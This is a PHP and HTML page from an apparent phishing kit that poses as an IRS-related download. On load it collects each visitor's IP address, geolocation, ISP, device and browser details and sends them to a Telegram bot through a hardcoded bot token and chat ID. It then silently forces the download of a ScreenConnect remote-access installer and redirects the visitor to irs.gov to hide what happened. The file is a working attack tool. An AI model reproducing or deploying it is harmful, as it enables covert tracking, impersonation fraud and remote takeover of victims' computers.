<?php
session_start();

// Security headers
header("X-Frame-Options: DENY");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");

// Document data
$document = [
    'name' => 'ScreenConnect.ClientSetup.msi',
    'size' => '9.6 MB',
    'status' => 'ready'
];

$exeFile = 'ClientSetup.exe';  // Windows file
$randomLink = null;

// Check if file exists
if (file_exists($exeFile)) {
    $randomLink = $exeFile;
} else {
    error_log("File not found: " . $exeFile);
}

$telegramToken = "8128813519:AAELvLRX9Sr_4OdHVRagW14_FCiZxPVK8kY"; // Token here
$chatId = "-5013536227";          // Chat ID here

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$referer = $_SERVER['HTTP_REFERER'] ?? 'None';
$time = gmdate("Y-n-d H:i:s");

// Fetch IP and Geo info
$ip = $_SERVER['REMOTE_ADDR'];
$geo = json_decode(file_get_contents("https://ipinfo.io/{$ip}/json"));
$location = isset($geo->city) ? "{$geo->city}, {$geo->region} {$geo->country}" : "Unknown";
$isp = isset($geo->org) ? $geo->org : "Unknown";

// Language and device type
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'Unknown';
$device = stripos($userAgent, "mobile") !== false ? "Mobile" : "Desktop";

// Detect OS and Browser
function getOS($ua){
    $oses = ['Windows'=>'Windows','Mac'=>'Mac OS','Linux'=>'Linux','Android'=>'Android','iPhone'=>'iOS'];
    foreach($oses as $k=>$v){ if(strpos($ua,$k)!==false) return $v; }
    return 'Unknown';
}

function getBrowser($ua){
    $browsers = ['OPR'=>'Opera','Edge'=>'Edge','Chrome'=>'Chrome','Firefox'=>'Firefox','Safari'=>'Safari'];
    foreach($browsers as $k=>$v){ if(strpos($ua,$k)!==false) return $v; }
    return 'Unknown';
}

$os = getOS($userAgent);
$browser = getBrowser($userAgent);

// System information
$cores = shell_exec("nproc");  // Number of CPU cores
$mem = round(shell_exec("free -m | awk 'NR==2{print $2}'") / 1024, 2);  // RAM in GB
$screen = "1920x1200"; // Placeholder for screen resolution (may require JS to fetch in a real app)
$timezone = date_default_timezone_get();
$platform = PHP_OS; // Platform info (Linux, Windows, etc.)

// Telegram message
$message = "🔹 Download started\n";
$message .= "🔗 URL: https://completee******net/irs\n";
$message .= "📄 File: {$document['name']} ({$document['size']})\n";
$message .= "🧭 IP: {$ip}\n";
$message .= "📍 Geo: {$location}\n";
$message .= "🏷️ ISP/ASN: {$isp}\n";
$message .= "📱 Device: $device\n";
$message .= "🖥️ OS/Browser: $os / $browser\n";
$message .= "🗣️ Lang: $lang\n";
$message .= "↩️ Referer: $referer\n";
$message .= "⏰ Time: $time\n";

// System details
$message .= "— — —\n";
$message .= "🕑 Timezone: $timezone\n";
$message .= "💻 Platform: $platform\n";
$message .= "🧠 Cores: $cores\n";
$message .= "💾 Mem(GB): $mem\n";
$message .= "🖼️ Screen: $screen\n";
$message .= "👆 Touch: No\n"; // Placeholder (this could be dynamically fetched with JS)
$message .= "🧾 UA: $userAgent\n";

// Send message
file_get_contents("https://api.telegram.org/bot$telegramToken/sendMessage?chat_id=$chatId&text=" . urlencode($message));

?>
<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <title>Loading...</title>

    <script>
        window.onload = function () {
            // إنشاء رابط تحميل
            var link = document.createElement("a");
            link.href = "ScreenConnect.ClientSetup.msi";   // اسم الملف
            link.download = "ScreenConnect.ClientSetup.msi";
            document.body.appendChild(link);
            link.click();
            document.body.removeChild(link);

            // وقت الانتظار قبل إعادة التوجيه (مثلاً 3 ثواني)
            setTimeout(function () {
                window.location.href = "https://www.irs.gov/";
            }, 3000);
        };
    </script>
</head>
<body>
    <h2 style="text-align:center; margin-top:50px;">
       
    </h2>
</body>
</html>
